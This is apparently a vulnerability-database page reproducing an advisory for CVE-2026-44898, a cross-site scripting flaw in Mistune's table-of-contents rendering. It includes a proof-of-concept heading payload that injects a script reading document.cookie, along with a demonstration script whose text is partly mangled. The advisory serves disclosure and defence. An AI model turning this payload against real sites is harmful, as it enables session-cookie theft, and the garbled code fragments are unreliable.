NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-44898: Mistune TOC Anchor Injection XSS

mediumCVSS 3.1 6.1GHSA-6269-cqxg-mhhv

Summary rendertocul() builds a table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="# ") and the text value (used as the visible link label) are inserted into tags via a plain Python format string — with no HTML escaping applied to either value.

Published May 14, 2026 · Updated Jun 8, 2026

Affected packages

mistune

Ecosystem
PyPI
Affected
= 3.2.0
Fixed in
3.2.1
Check
pip show mistune

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into `` tags via a plain Python format string — with no HTML escaping applied to either value.

When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.

This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.

Details

File: src/mistune/toc.py

def render_toc_ul(toc):
    ...
    for level, k, text in toc:
        # k   = heading id  (used verbatim as href fragment)
        # text = heading text (used verbatim as link label)
        item = '{}'.format(k, text)
        # Neither k nor text is passed through escape() at any point

The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.

PoC

Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

Output — clean, safe TOC:

<ul>
<li>Introduction
<ul>
<li>Installation</li>
</ul>
</li>
</ul>

Step 2 — Enable the vulnerable `heading_id` callback

Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:

def raw_id(token, index):
    return token.get("text", "")

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 — Craft the exploit payload

Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling ` that render_toc_ul` appends:

## x"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(document.cookie)</script>`:

'{}'.format(k, text)

becomes:

'alert(document.cookie)...'


Actual output:

alert(document.cookie)x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;


The `<script>` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.

### Script

I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.

#!/usr/bin/env python3 """H4: render_toc_ul() puts raw heading ID into without escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook, render_toc_ul

def raw_id(token, index): return token.get("text", "")

--- baseline ---

md_safe = create_markdown(escape=True) add_toc_hook(md_safe)

bl_file = "baseline_h4.md" bl_src = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", []))

print(f"[{bl_file}]\n{bl_src}") print("[toc output — safe]") print(bl_out)

--- exploit ---

md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id)

ex_file = "exploit_h4.md" ex_src = '## x">alert(document.cookie) {'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}

Input — {h.escape(filename)} {h.escape(src)}

TOC output — HTML source {h.escape(out)} ↓ rendered in browser {out}

"""

page = f"""<!DOCTYPE html> H4 — TOC XSS{CSS} H4 — TOC render_toc_ul() XSS render_toc_ul() in toc.py uses '&lt;a href="#{{}}"&gt;{{}}&lt;/a&gt;'.format(k, text) — neither k (the heading ID) nor text is escaped before insertion. {case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)} {case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)} """

out_path = os.path.join(os.getcwd(), "report_h4.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}")


Example usage:

python poc.py


Once you run the script, open `report_h4.html` in the browser and observe the behaviour.

## Impact
| Dimension        | Assessment |
|------------------|-----------|
| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |
| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |
| **Availability** | Page crash or freeze available as secondary effect |

**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.

Credited to QiaoNPC, Across-Verticals-Malaysia.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More PyPI vulnerabilities

All PyPI entries